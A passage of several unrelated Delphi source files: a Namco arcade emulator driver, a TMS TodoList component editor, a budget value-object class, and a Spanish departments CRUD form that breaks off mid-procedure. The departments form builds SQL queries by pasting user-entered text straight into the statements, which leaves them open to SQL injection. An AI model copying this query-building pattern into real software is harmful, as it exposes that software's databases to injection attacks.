put_gfx_mask(x*8,y*8,nchar,color,2,0,$1f,$1f); end; end; gfx[0].buffer[f]:=false; end; end; //Pantalla principal actualiza_trozo(16,0,224,288,1,0,0,224,288,3); //Los sprites draw_sprites_spacman; //Pantalla principal transparente actualiza_trozo(16,0,224,288,2,0,0,224,288,3); //final, lo pego todooooo actualiza_trozo_final(0,0,224,288,3); end; procedure eventos_mappy; begin if event.arcade then begin //P1 & P2 if arcade_input.up[0] then marcade.in0:=(marcade.in0 and $fe) else marcade.in0:=(marcade.in0 or $1); if arcade_input.right[0] then marcade.in0:=(marcade.in0 and $fd) else marcade.in0:=(marcade.in0 or $2); if arcade_input.down[0] then marcade.in0:=(marcade.in0 and $fb) else marcade.in0:=(marcade.in0 or $4); if arcade_input.left[0] then marcade.in0:=(marcade.in0 and $f7) else marcade.in0:=(marcade.in0 or $8); if arcade_input.up[1] then marcade.in0:=(marcade.in0 and $ef) else marcade.in0:=(marcade.in0 or $10); if arcade_input.right[1] then marcade.in0:=(marcade.in0 and $df) else marcade.in0:=(marcade.in0 or $20); if arcade_input.down[1] then marcade.in0:=(marcade.in0 and $bf) else marcade.in0:=(marcade.in0 or $40); if arcade_input.left[1] then marcade.in0:=(marcade.in0 and $7f) else marcade.in0:=(marcade.in0 or $80); //System if arcade_input.but0[0] then marcade.in1:=(marcade.in1 and $fe) else marcade.in1:=(marcade.in1 or $1); if arcade_input.but0[1] then marcade.in1:=(marcade.in1 and $fd) else marcade.in1:=(marcade.in1 or $2); if arcade_input.start[0] then marcade.in1:=(marcade.in1 and $fb) else marcade.in1:=(marcade.in1 or $4); if arcade_input.start[1] then marcade.in1:=(marcade.in1 and $f7) else marcade.in1:=(marcade.in1 or $8); if arcade_input.coin[0] then marcade.in1:=(marcade.in1 and $ef) else marcade.in1:=(marcade.in1 or $10); if arcade_input.coin[1] then marcade.in1:=(marcade.in1 and $df) else marcade.in1:=(marcade.in1 or $20); //P1 & P2 extra but (DigDug II/Grobda solo) if arcade_input.but1[0] then marcade.in2:=(marcade.in2 and $fe) else marcade.in2:=(marcade.in2 or $1); if arcade_input.but1[1] then marcade.in2:=(marcade.in2 and $fd) else marcade.in2:=(marcade.in2 or $2); end; end; procedure mappy_principal; var f:word; frame_m,frame_s:single; begin init_controls(false,false,false,true); frame_m:=m6809_0.tframes; frame_s:=m6809_1.tframes; while EmuStatus=EsRuning do begin for f:=0 to 263 do begin //Main CPU m6809_0.run(frame_m); frame_m:=frame_m+m6809_0.tframes-m6809_0.contador; //Sound CPU m6809_1.run(frame_s); frame_s:=frame_s+m6809_1.tframes-m6809_1.contador; if f=223 then begin if main_int then m6809_0.change_irq(ASSERT_LINE); if snd_int then m6809_1.change_irq(ASSERT_LINE); if not(namco_5x_0.reset_status) then namco_5x_0.run; if not(namco_5x_1.reset_status) then namco_5x_1.run; update_video_proc; end; end; eventos_mappy; video_sync; end; end; function mappy_getbyte(direccion:word):byte; begin case direccion of 0..$27ff,$4000..$43ff,$8000..$ffff:mappy_getbyte:=memoria[direccion]; $4800..$480f:mappy_getbyte:=namco_5x_0.read(direccion and $f); $4810..$481f:mappy_getbyte:=namco_5x_1.read(direccion and $f); end; end; procedure mappy_latch(direccion:byte); begin case (direccion and $e) of $0:begin snd_int:=(direccion and 1)<>0; if not(snd_int) then m6809_1.change_irq(CLEAR_LINE); end; $2:begin main_int:=(direccion and 1)<>0; if not(main_int) then m6809_0.change_irq(CLEAR_LINE); end; $4:main_screen.flip_main_screen:=(direccion and 1)<>0; $6:namco_snd_0.enabled:=(direccion and 1)<>0; $8:begin namco_5x_0.reset_internal((direccion and 1)=0); namco_5x_1.reset_internal((direccion and 1)=0); end; $a:if ((direccion and 1)<>0) then m6809_1.change_reset(CLEAR_LINE) else m6809_1.change_reset(ASSERT_LINE); end; end; procedure mappy_putbyte(direccion:word;valor:byte); begin case direccion of $0..$fff:if memoria[direccion]<>valor then begin gfx[0].buffer[direccion and $7ff]:=true; memoria[direccion]:=valor; end; $1000..$27ff,$4040..$43ff:memoria[direccion]:=valor; $3800..$3fff:scroll_x:=256-((direccion and $7ff) shr 3); $4000..$403f:begin namco_snd_0.regs[direccion and $3f]:=valor; memoria[direccion]:=valor; end; $4800..$480f:namco_5x_0.write(direccion and $f,valor); $4810..$481f:namco_5x_1.write(direccion and $f,valor); $5000..$500f:mappy_latch(direccion and $f); $8000..$ffff:; //ROM end; end; function sound_getbyte(direccion:word):byte; begin case direccion of $0..$3ff:sound_getbyte:=memoria[$4000+direccion]; $e000..$ffff:sound_getbyte:=mem_snd[direccion]; end; end; procedure sound_putbyte(direccion:word;valor:byte); begin case direccion of $0..$3f:begin memoria[$4000+direccion]:=valor; namco_snd_0.regs[direccion and $3f]:=valor; end; $40..$3ff:memoria[$4000+direccion]:=valor; $2000..$200f:mappy_latch(direccion and $f); $e000..$ffff:; //ROM end; end; procedure mappy_sound_update; begin namco_snd_0.update; end; //Super Pacman procedure spacman_putbyte(direccion:word;valor:byte); begin case direccion of $0..$7ff:if memoria[direccion]<>valor then begin gfx[0].buffer[direccion and $3ff]:=true; memoria[direccion]:=valor; end; $800..$1fff,$4040..$43ff:memoria[direccion]:=valor; $4000..$403f:begin namco_snd_0.regs[direccion and $3f]:=valor; memoria[direccion]:=valor; end; $4800..$480f:namco_5x_0.write(direccion and $f,valor); $4810..$481f:namco_5x_1.write(direccion and $f,valor); $5000..$500f:mappy_latch(direccion and $f); $a000..$ffff:; //ROM end; end; //Funciones IO Chips function inport0_0:byte; begin inport0_0:=marcade.in1 shr 4; //coins end; function inport0_1:byte; begin inport0_1:=marcade.in0 and $f; //p1 end; function inport0_2:byte; begin inport0_2:=marcade.in0 shr 4; //p2 end; function inport0_3:byte; begin inport0_3:=marcade.in1 and $f; //buttons end; function inport1_0:byte; begin inport1_0:=(marcade.dswb shr mux) and $f; //dib_mux end; function inport1_1:byte; begin inport1_1:=marcade.dswa and $f; //dip a_l end; function inport1_2:byte; begin inport1_2:=marcade.dswa shr 4; //dip a_h end; function inport1_3:byte; begin inport1_3:=marcade.in2 or marcade.dswc; //dsw0 + extra but end; procedure outport1_0(data:byte); begin mux:=(data and $1)*4; end; //Main procedure reset_mappyhw; begin m6809_0.reset; m6809_1.reset; namco_snd_0.reset; namco_5x_0.reset; namco_5x_1.reset; reset_audio; marcade.in0:=$ff; marcade.in1:=$ff; marcade.in2:=$3; mux:=0; main_int:=false; snd_int:=false; scroll_x:=0; end; function iniciar_mappyhw:boolean; const pc_x:array[0..7] of dword=(8*8+0, 8*8+1, 8*8+2, 8*8+3, 0, 1, 2, 3); ps_x:array[0..15] of dword=(0, 1, 2, 3, 8*8, 8*8+1, 8*8+2, 8*8+3, 16*8+0, 16*8+1, 16*8+2, 16*8+3, 24*8+0, 24*8+1, 24*8+2, 24*8+3); ps_y:array[0..15] of dword=(0*8, 1*8, 2*8, 3*8, 4*8, 5*8, 6*8, 7*8, 32*8, 33*8, 34*8, 35*8, 36*8, 37*8, 38*8, 39*8 ); var memoria_temp:array[0..$ffff] of byte; procedure set_chars(inv:boolean); var f:word; begin if inv then for f:=0 to $fff do memoria_temp[f]:=not(memoria_temp[f]); init_gfx(0,8,8,$100); gfx_set_desc_data(2,0,16*8,0,4); convert_gfx(0,0,@memoria_temp,@pc_x,@ps_y,true,false); end; procedure set_sprites(num,tipo:byte); begin init_gfx(1,16,16,$80*num); case tipo of 0:gfx_set_desc_data(4,0,64*8,0,4,8192*8*num,(8192*8*num)+4); 1:gfx_set_desc_data(2,0,64*8,0,4); end; convert_gfx(1,0,@memoria_temp,@ps_x,@ps_y,true,false); end; procedure set_color_lookup(tipo:byte;long_sprites:word); var f:word; colores:tpaleta; ctemp1:byte; begin for f:=0 to 31 do begin ctemp1:=memoria_temp[f]; colores[f].r:= $21*(ctemp1 and 1)+$47*((ctemp1 shr 1) and 1)+$97*((ctemp1 shr 2) and 1); colores[f].g:= $21*((ctemp1 shr 3) and 1)+$47*((ctemp1 shr 4) and 1)+$97*((ctemp1 shr 5) and 1); colores[f].b:= 0+$47*((ctemp1 shr 6) and 1)+$97*((ctemp1 shr 7) and 1); end; set_pal(colores,32); case tipo of 0:for f:=0 to 255 do gfx[0].colores[f]:=(memoria_temp[f+$20] and $0f)+$10; 1:for f:=0 to 255 do gfx[0].colores[f]:=((memoria_temp[f+$20] and $0f) xor $f)+$10; end; for f:=0 to (long_sprites-1) do gfx[1].colores[f]:=(memoria_temp[f+$120] and $0f); end; begin llamadas_maquina.bucle_general:=mappy_principal; llamadas_maquina.reset:=reset_mappyhw; llamadas_maquina.fps_max:=60.6060606060; iniciar_mappyhw:=false; iniciar_audio(false); //Pantallas screen_init(1,512,288); screen_mod_scroll(1,512,256,511,256,256,255); screen_init(2,512,288,true); screen_mod_scroll(2,512,256,511,256,256,255); screen_init(3,512,512,false,true); screen_mod_sprites(3,256,512,255,511); iniciar_video(224,288); //Main CPU m6809_0:=cpu_m6809.Create(1536000,264,TCPU_M6809); //Sound CPU m6809_1:=cpu_m6809.create(1536000,264,TCPU_M6809); m6809_1.change_ram_calls(sound_getbyte,sound_putbyte); m6809_1.init_sound(mappy_sound_update); namco_snd_0:=namco_snd_chip.create(8); case main_vars.tipo_maquina of 57:begin //Mappy m6809_0.change_ram_calls(mappy_getbyte,mappy_putbyte); update_video_proc:=update_video_mappy; //IO Chips namco_5x_0:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_58XX); namco_5x_1:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_58XX); //cargar roms if not(roms_load(@memoria,mappy_rom)) then exit; //Cargar Sound+samples if not(roms_load(@mem_snd,mappy_sound)) then exit; if not(roms_load(namco_snd_0.get_wave_dir,mappy_sound_prom)) then exit; //convertir chars if not(roms_load(@memoria_temp,mappy_chars)) then exit; set_chars(true); //Sprites if not(roms_load(@memoria_temp,mappy_sprites)) then exit; set_sprites(1,0); sprite_mask:=$7f; //Color lookup if not(roms_load(@memoria_temp,mappy_proms)) then exit; set_color_lookup(0,$100); //Dip marcade.dswa_val:=@mappy_dip_a; marcade.dswb_val:=@mappy_dip_b; marcade.dswa:=$ff; marcade.dswb:=$ff; end; 63:begin //Dig-Dug 2 m6809_0.change_ram_calls(mappy_getbyte,mappy_putbyte); update_video_proc:=update_video_mappy; //IO Chips namco_5x_0:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_58XX); namco_5x_1:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_56XX); //cargar roms if not(roms_load(@memoria,dd2_rom)) then exit; //Cargar Sound+samples if not(roms_load(@mem_snd,dd2_sound)) then exit; if not(roms_load(namco_snd_0.get_wave_dir,dd2_sound_prom)) then exit; //convertir chars if not(roms_load(@memoria_temp,dd2_chars)) then exit; set_chars(true); //Sprites if not(roms_load(@memoria_temp,dd2_sprites)) then exit; set_sprites(2,0); sprite_mask:=$ff; //Color lookup if not(roms_load(@memoria_temp,dd2_proms)) then exit; set_color_lookup(0,$100); //Dip marcade.dswa_val:=@digdug2_dip; marcade.dswa:=$ff; marcade.dswb:=$ff; end; 64:begin //Super Pacman m6809_0.change_ram_calls(mappy_getbyte,spacman_putbyte); update_video_proc:=update_video_spacman; //IO Chips namco_5x_0:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_56XX); namco_5x_1:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_56XX); //cargar roms if not(roms_load(@memoria,spacman_rom)) then exit; //Cargar Sound+samples if not(roms_load(@mem_snd,spacman_sound)) then exit; if not(roms_load(namco_snd_0.get_wave_dir,spacman_sound_prom)) then exit; //convertir chars if not(roms_load(@memoria_temp,spacman_chars)) then exit; set_chars(false); //Sprites if not(roms_load(@memoria_temp,spacman_sprites)) then exit; set_sprites(1,1); sprite_mask:=$7f; //Color lookup if not(roms_load(@memoria_temp,spacman_proms)) then exit; set_color_lookup(1,$100); //Dip marcade.dswa_val:=@spacman_dip_a; marcade.dswb_val:=@spacman_dip_b; marcade.dswa:=$ff; marcade.dswb:=$ff; end; 192:begin //The Tower of Druaga m6809_0.change_ram_calls(mappy_getbyte,mappy_putbyte); update_video_proc:=update_video_mappy; //IO Chips namco_5x_0:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_58XX); namco_5x_1:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_56XX); //cargar roms if not(roms_load(@memoria,todruaga_rom)) then exit; //Cargar Sound+samples if not(roms_load(@mem_snd,todruaga_sound)) then exit; if not(roms_load(namco_snd_0.get_wave_dir,todruaga_sound_prom)) then exit; //convertir chars if not(roms_load(@memoria_temp,todruaga_chars)) then exit; set_chars(true); //Sprites if not(roms_load(@memoria_temp,todruaga_sprites)) then exit; set_sprites(1,0); sprite_mask:=$7f; //Color lookup if not(roms_load(@memoria_temp,todruaga_proms)) then exit; set_color_lookup(0,$400); //Dip marcade.dswa_val:=@todruaga_dip; marcade.dswa:=$ff; marcade.dswb:=$ff; end; 193:begin //Motos m6809_0.change_ram_calls(mappy_getbyte,mappy_putbyte); update_video_proc:=update_video_mappy; //IO Chips namco_5x_0:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_56XX); namco_5x_1:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_56XX); //cargar roms if not(roms_load(@memoria,motos_rom)) then exit; //Cargar Sound+samples if not(roms_load(@mem_snd,motos_sound)) then exit; if not(roms_load(namco_snd_0.get_wave_dir,motos_sound_prom)) then exit; //convertir chars if not(roms_load(@memoria_temp,motos_chars)) then exit; set_chars(true); //Sprites if not(roms_load(@memoria_temp,motos_sprites)) then exit; set_sprites(2,0); sprite_mask:=$ff; //Color lookup if not(roms_load(@memoria_temp,motos_proms)) then exit; set_color_lookup(0,$100); //Dip marcade.dswa_val:=@motos_dip; marcade.dswa:=$ff; marcade.dswb:=$ff; end; 351:begin //Grobda m6809_0.change_ram_calls(mappy_getbyte,spacman_putbyte); update_video_proc:=update_video_spacman; //IO Chips namco_5x_0:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_58XX); namco_5x_1:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_56XX); //cargar roms if not(roms_load(@memoria,grobda_rom)) then exit; //Cargar Sound+samples if not(roms_load(@mem_snd,grobda_sound)) then exit; if not(roms_load(namco_snd_0.get_wave_dir,grobda_sound_prom)) then exit; //convertir chars if not(roms_load(@memoria_temp,grobda_chars)) then exit; set_chars(false); //Sprites if not(roms_load(@memoria_temp,grobda_sprites)) then exit; set_sprites(2,1); sprite_mask:=$ff; //Color lookup if not(roms_load(@memoria_temp,grobda_proms)) then exit; set_color_lookup(1,$100); //Dip marcade.dswa_val:=@grobda_dip_a; marcade.dswb_val:=@grobda_dip_b; marcade.dswa:=$c9; marcade.dswb:=$ff; end; 352:begin //Pac & Pal m6809_0.change_ram_calls(mappy_getbyte,spacman_putbyte); update_video_proc:=update_video_spacman; //IO Chips namco_5x_0:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_56XX); namco_5x_1:=namco_5x_chip.create(m6809_0.numero_cpu,NAMCO_59XX); //cargar roms if not(roms_load(@memoria,pacnpal_rom)) then exit; //Cargar Sound+samples if not(roms_load(@mem_snd,pacnpal_sound)) then exit; if not(roms_load(namco_snd_0.get_wave_dir,pacnpal_sound_prom)) then exit; //convertir chars if not(roms_load(@memoria_temp,pacnpal_chars)) then exit; set_chars(false); //Sprites if not(roms_load(@memoria_temp,pacnpal_sprites)) then exit; set_sprites(1,1); sprite_mask:=$7f; //Color lookup if not(roms_load(@memoria_temp,pacnpal_proms)) then exit; set_color_lookup(1,$100); //Dip marcade.dswa_val:=@pacnpal_dip_a; marcade.dswb_val:=@pacnpal_dip_b; marcade.dswa:=$77; marcade.dswb:=$ff; end; end; //Dip comun marcade.dswc_val:=@mappy_dip_c; marcade.dswc:=$c; //IOs final namco_5x_0.change_io(inport0_0,inport0_1,inport0_2,inport0_3,nil,nil); namco_5x_1.change_io(inport1_0,inport1_1,inport1_2,inport1_3,outport1_0,nil); reset_mappyhw; iniciar_mappyhw:=true; end; end.
{*************************************************************************} { TTodoList component } { for Delphi & C++Builder } { } { Copyright © 2001-2012 } { Email : info@tmssoftware.com } { Web : http://www.tmssoftware.com } { } { The source code is given as is. The author is not responsible } { for any possible damage done due to the use of this code. } { The component can be freely used in any application. The complete } { source code remains property of the author and may not be distributed, } { published, given or sold in any form as such. No parts of the source } { code can be included in any other component or application without } { written authorization of the author. } {*************************************************************************} {$I TMSDEFS.INC} unit ToDoListde; interface uses Classes, Windows, SysUtils, ToDoList, Forms, Controls, Dialogs {$IFDEF DELPHI6_LVL} , DesignIntf, DesignEditors {$ELSE} , DsgnIntf {$ENDIF} ; type TToDoListEditor = class(TDefaultEditor) protected {$IFNDEF DELPHI6_LVL} procedure EditProperty(PropertyEditor: TPropertyEditor; var Continue, FreeEditor: Boolean); override; {$ELSE} procedure EditProperty(const PropertyEditor:IProperty; var Continue:Boolean); override; {$ENDIF} public function GetVerb(index:integer):string; override; function GetVerbCount:integer; override; procedure ExecuteVerb(Index:integer); override; end; implementation procedure TToDoListEditor.ExecuteVerb(Index: integer); var compiler: string; begin case Index of 0: begin {$IFDEF VER90} compiler := 'Delphi 2'; {$ENDIF} {$IFDEF VER93} compiler:='C++Builder 1'; {$ENDIF} {$IFDEF VER100} compiler := 'Delphi 3'; {$ENDIF} {$IFDEF VER110} compiler := 'C++Builder 3'; {$ENDIF} {$IFDEF VER120} compiler := 'Delphi 4'; {$ENDIF} {$IFDEF VER125} compiler := 'C++Builder 4'; {$ENDIF} {$IFDEF VER130} {$IFDEF BCB} compiler := 'C++Builder 5'; {$ELSE} compiler := 'Delphi 5'; {$ENDIF} {$ENDIF} {$IFDEF VER140} {$IFDEF BCB} compiler := 'C++Builder 6'; {$ELSE} compiler := 'Delphi 6'; {$ENDIF} {$ENDIF} {$IFDEF VER150} {$IFDEF BCB} compiler := ''; {$ELSE} compiler := 'Delphi 7'; {$ENDIF} {$ENDIF} {$IFDEF VER160} compiler := 'Delphi 8'; {$ENDIF} {$IFDEF VER170} compiler := 'Delphi 2005'; {$ENDIF} {$IFDEF VER180} {$IFDEF BCB} compiler := 'C++Builder 2006'; {$ELSE} compiler := 'Delphi 2006'; {$ENDIF} {$ENDIF} {$IFDEF VER185} {$IFDEF BCB} compiler := 'C++Builder 2007'; {$ELSE} compiler := 'Delphi 2007'; {$ENDIF} {$ENDIF} {$IFDEF VER200} {$IFDEF BCB} compiler := 'C++Builder 2009'; {$ELSE} compiler := 'Delphi 2009'; {$ENDIF} {$ENDIF} {$IFDEF VER200} {$IFDEF BCB} compiler := 'C++Builder 2010'; {$ELSE} compiler := 'Delphi 2010'; {$ENDIF} {$ENDIF} MessageDlg(Component.ClassName+' version '+ (Component as TCustomTodoList).VersionString + ' for ' + compiler + #13#10#13#10'© 2002-2010 by TMS software'#13#10'http://www.tmssoftware.com', mtInformation,[mbok],0); end; 1: Edit; end; if Index > 1 then (Component as TCustomTodoList).Look := TTodoListStyle(Index - 2); end; {$IFNDEF DELPHI6_LVL} procedure TToDoListEditor.EditProperty(PropertyEditor: TPropertyEditor; var Continue, FreeEditor: Boolean); {$ELSE} procedure TToDoListEditor.EditProperty(const PropertyEditor:IProperty; var Continue:Boolean); {$ENDIF} var PropName: string; begin PropName := PropertyEditor.GetName; if (CompareText(PropName, 'COLUMNS') = 0) then begin PropertyEditor.Edit; Continue := False; end; end; function TToDoListEditor.GetVerb(Index: Integer): string; begin Result := ''; case Index of 0:Result := 'About'; 1:Result := 'Columns Editor'; 2: Result := 'Office 2003 Blue'; 3: Result := 'Office 2003 Silver'; 4: Result := 'Office 2003 Olive'; 5: Result := 'Office 2003 Classic'; 6: Result := 'Office 2007 Luna'; 7: Result := 'Office 2007 Obsidian'; 8: Result := 'Windows XP'; 9: Result := 'Whidbey'; 10: Result := 'Custom'; 11: Result := 'Office 2007 Silver'; 12: Result := 'Windows Vista'; 13: Result := 'Windows 7'; 14: Result := 'Terminal'; 15: Result := 'Office 2010 Blue'; 16: Result := 'Office 2010 Silver'; 17: Result := 'Office 2010 Black'; end; end; function TToDoListEditor.GetVerbCount: Integer; begin Result := 18; end; end.
unit uOrcamentoVectoVO; interface uses System.SysUtils, System.Generics.Collections, uTableName, uKeyField; type [TableName('Orcamento_Vectos')] TOrcamentoVectoVO = class private FValor: Currency; FDescricao: string; FId: Integer; FIdOrcamento: Integer; FData: TDate; FParcela: Integer; procedure SetData(const Value: TDate); procedure SetDescricao(const Value: string); procedure SetId(const Value: Integer); procedure SetIdOrcamento(const Value: Integer); procedure SetParcela(const Value: Integer); procedure SetValor(const Value: Currency); public [KeyField('OrcVect_Id')] property Id: Integer read FId write SetId; [FieldName('OrcVect_Orcamento')] property IdOrcamento: Integer read FIdOrcamento write SetIdOrcamento; [FieldName('OrcVect_Parcela')] property Parcela: Integer read FParcela write SetParcela; [FieldName('OrcVect_Data')] property Data: TDate read FData write SetData; [FieldName('OrcVect_Valor')] property Valor: Currency read FValor write SetValor; [FieldName('OrcVect_Descricao')] property Descricao: string read FDescricao write SetDescricao; end; implementation { TOrcamentoVectoVO } procedure TOrcamentoVectoVO.SetData(const Value: TDate); begin if Value = 0 then raise Exception.Create('Informe a Data!'); FData := Value; end; procedure TOrcamentoVectoVO.SetDescricao(const Value: string); begin FDescricao := Value; end; procedure TOrcamentoVectoVO.SetId(const Value: Integer); begin FId := Value; end; procedure TOrcamentoVectoVO.SetIdOrcamento(const Value: Integer); begin FIdOrcamento := Value; end; procedure TOrcamentoVectoVO.SetParcela(const Value: Integer); begin if Value = 0 then raise Exception.Create('Informe a Parcela!'); FParcela := Value; end; procedure TOrcamentoVectoVO.SetValor(const Value: Currency); begin FValor := Value; end; end.
// -------------------------------------------------------------------------- // Archivo del Proyecto Ventas // Página del proyecto: http://sourceforge.net/projects/ventas // -------------------------------------------------------------------------- // Este archivo puede ser distribuido y/o modificado bajo lo terminos de la // Licencia Pública General versión 2 como es publicada por la Free Software // Fundation, Inc. // -------------------------------------------------------------------------- unit Departamentos; interface uses SysUtils, Types, Classes, QGraphics, QControls, QForms, QDialogs, QStdCtrls, QGrids, QDBGrids, QExtCtrls, QComCtrls, QButtons, QMenus, QTypes, Inifiles, QcurrEdit; type TfrmDepartamentos = class(TForm) MainMenu1: TMainMenu; Archivo1: TMenuItem; mnuInsertar: TMenuItem; mnuEliminar: TMenuItem; mnuModificar: TMenuItem; N3: TMenuItem; mnuGuardar: TMenuItem; mnuCancelar: TMenuItem; N2: TMenuItem; Salir1: TMenuItem; mnuConsulta: TMenuItem; mnuAvanza: TMenuItem; mnuRetrocede: TMenuItem; btnInsertar: TBitBtn; btnEliminar: TBitBtn; btnModificar: TBitBtn; btnGuardar: TBitBtn; btnCancelar: TBitBtn; gddListado: TDBGrid; lblRegistros: TLabel; txtRegistros: TcurrEdit; grpDepartamento: TGroupBox; Label1: TLabel; txtNombre: TEdit; procedure btnInsertarClick(Sender: TObject); procedure btnEliminarClick(Sender: TObject); procedure btnCancelarClick(Sender: TObject); procedure btnGuardarClick(Sender: TObject); procedure btnModificarClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure Salir1Click(Sender: TObject); procedure mnuAvanzaClick(Sender: TObject); procedure mnuRetrocedeClick(Sender: TObject); procedure Salta(Sender: TObject; var Key: Word; Shift: TShiftState); procedure FormCreate(Sender: TObject); private sModo : String; iClave : integer; procedure LimpiaDatos; procedure ActivaControles; function VerificaDatos:boolean; function VerificaIntegridad:boolean; procedure GuardaDatos; procedure RecuperaConfig; procedure RecuperaDatos; procedure Listar; public end; var frmDepartamentos: TfrmDepartamentos; implementation uses dm; {$R *.xfm} procedure TfrmDepartamentos.btnInsertarClick(Sender: TObject); begin LimpiaDatos; sModo := 'Insertar'; Height := 300; ActivaControles; txtNombre.SetFocus; end; procedure TfrmDepartamentos.LimpiaDatos; begin txtNombre.Clear; end; procedure TfrmDepartamentos.ActivaControles; begin if( (sModo = 'Insertar') or (sModo = 'Modificar') ) then begin btnInsertar.Enabled := false; btnModificar.Enabled := false; btnEliminar.Enabled := false; mnuInsertar.Enabled := false; mnuModificar.Enabled := false; mnuEliminar.Enabled := false; btnGuardar.Enabled := true; btnCancelar.Enabled := true; mnuGuardar.Enabled := true; mnuCancelar.Enabled := true; mnuConsulta.Enabled := false; txtNombre.ReadOnly := false; txtNombre.TabStop := true; end; if(sModo = 'Consulta') then begin btnInsertar.Enabled := true; mnuInsertar.Enabled := true; if(txtRegistros.Value > 0) then begin btnModificar.Enabled := true; btnEliminar.Enabled := true; mnuModificar.Enabled := true; mnuEliminar.Enabled := true; end else begin btnModificar.Enabled := false; btnEliminar.Enabled := false; mnuModificar.Enabled := false; mnuEliminar.Enabled := false; end; btnGuardar.Enabled := false; btnCancelar.Enabled := false; mnuGuardar.Enabled := false; mnuCancelar.Enabled := false; mnuConsulta.Enabled := true; txtNombre.ReadOnly := true; txtNombre.TabStop := false; end; end; procedure TfrmDepartamentos.btnEliminarClick(Sender: TObject); begin if(Application.MessageBox('Se eliminará el departamento seleccionado','Eliminar',[smbOK]+[smbCancel]) = smbOK) then begin with dmDatos.qryModifica do begin Close; SQL.Clear; SQL.Add('DELETE FROM departamentos WHERE clave = ' + dmDatos.cdsCliente.FieldByName('clave').AsString); ExecSQL; Close; end; btnCancelarClick(Sender); end; end; procedure TfrmDepartamentos.btnCancelarClick(Sender: TObject); begin sModo := 'Consulta'; LimpiaDatos; Listar; ActivaControles; Height := 224; btnInsertar.SetFocus; end; procedure TfrmDepartamentos.btnGuardarClick(Sender: TObject); begin if(VerificaDatos) then begin GuardaDatos; btnCancelarClick(Sender); end; end; function TfrmDepartamentos.VerificaDatos:boolean; var bRegreso : boolean; begin bRegreso := true; if(Length(txtNombre.Text) = 0) then begin Application.MessageBox('Introduce el nombre del departamento','Error',[smbOK],smsCritical); txtNombre.SetFocus; bRegreso := false; end else if(not VerificaIntegridad) then bRegreso := false; Result := bRegreso; end; function TfrmDepartamentos.VerificaIntegridad:boolean; var bRegreso : boolean; begin bRegreso := true; with dmDatos.qryConsulta do begin Close; SQL.Clear; SQL.Add('SELECT * FROM departamentos WHERE nombre = ''' + txtNombre.Text + ''''); Open; if(not Eof) and ((sModo = 'Insertar') or ((FieldByName('clave').AsInteger <> iClave) and (sModo = 'Modificar'))) then begin bRegreso := false; Application.MessageBox('El departamento ya existe','Error',[smbOK],smsCritical); txtNombre.SetFocus; end; Close; end; Result := bRegreso; end; procedure TfrmDepartamentos.GuardaDatos; begin if(sModo = 'Insertar') then begin with dmDatos.qryModifica do begin Close; SQL.Clear; SQL.Add('INSERT INTO departamentos (nombre, fecha_umov) VALUES('); SQL.Add('''' + txtNombre.Text + ''','); SQL.Add(''''+ FormatDateTime('mm/dd/yyyy hh:nn:ss',Now) + ''')'); ExecSQL; Close; end; end else begin with dmDatos.qryModifica do begin Close; SQL.Clear; SQL.Add('UPDATE departamentos SET nombre = ''' + txtNombre.Text + ''','); SQL.Add('fecha_umov = ''' + FormatDateTime('mm/dd/yyyy hh:nn:ss',Now) + ''''); SQL.Add('WHERE clave = ' + IntToStr(iClave)); ExecSQL; Close; end; end; end; procedure TfrmDepartamentos.btnModificarClick(Sender: TObject); begin if(txtRegistros.Value > 0) then begin sModo := 'Modificar'; RecuperaDatos; ActivaControles; Height := 300; txtNombre.SetFocus; end; end; procedure TfrmDepartamentos.FormShow(Sender: TObject); begin btnCancelarClick(Sender); end; procedure TfrmDepartamentos.RecuperaConfig; var iniArchivo : TIniFile; sIzq, sArriba : String; begin iniArchivo := TIniFile.Create(ExtractFilePath(Application.ExeName) +'config.ini'); with iniArchivo do begin //Recupera la posición Y de la ventana sArriba := ReadString('Departamentos', 'Posy', ''); //Recupera la posición X de la ventana sIzq := ReadString('Departamentos', 'Posx', ''); if (Length(sIzq) > 0) and (Length(sArriba) > 0) then begin Left := StrToInt(sIzq); Top := StrToInt(sArriba); end; Free; end; end; procedure TfrmDepartamentos.FormClose(Sender: TObject; var Action: TCloseAction); var iniArchivo : TIniFile; begin dmDatos.cdsCliente.Active := false; dmDatos.qryListados.Close; iniArchivo := TIniFile.Create(ExtractFilePath(Application.ExeName) +'config.ini'); with iniArchivo do begin // Registra la posición y de la ventana WriteString('Departamentos', 'Posy', IntToStr(Top)); // Registra la posición X de la ventana WriteString('Departamentos', 'Posx', IntToStr(Left)); Free; end; end; procedure TfrmDepartamentos.RecuperaDatos; begin with dmDatos.cdsCliente do begin if(Active) then begin iClave := FieldByName('Clave').AsInteger; txtNombre.Text := Trim(FieldByName('nombre').AsString); end; end; end; procedure TfrmDepartamentos.Listar; var sBM : String; begin with dmDatos.qryListados do begin sBM := dmDatos.cdsCliente.Bookmark; dmDatos.cdsCliente.Active := false; Close; SQL.Clear; SQL.Add('SELECT clave, nombre FROM departamentos ORDER BY nombre'); Open; dmDatos.cdsCliente.Active := true; dmDatos.cdsCliente.FieldByName('clave').Visible := false; dmDatos.cdsCliente.FieldByName('nombre').DisplayLabel := 'Departamento'; txtRegistros.Value := dmDatos.cdsCliente.RecordCount; try dmDatos.cdsCliente.Bookmark := sBM; except txtRegistros.Value := txtRegistros.Value; end; end; RecuperaDatos; end; procedure TfrmDepartamentos.Salir1Click(Sender: TObject); begin Close; end; procedure TfrmDepartamentos.mnuAvanzaClick(Sender: TObject); begin dmDatos.cdsCliente.Next; end; procedure TfrmDepartamentos.mnuRetrocedeClick(Sender: TObject); begin dmDatos.cdsCliente.Prior; end; procedure TfrmDepartamentos.Salta(Sender: TObject; var Key: Word; Shift: TShiftState); begin {Inicio (36), Fin (35), Izquierda (37), derecha (39), arriba (38), abajo (40)} if(Key >= 30) and 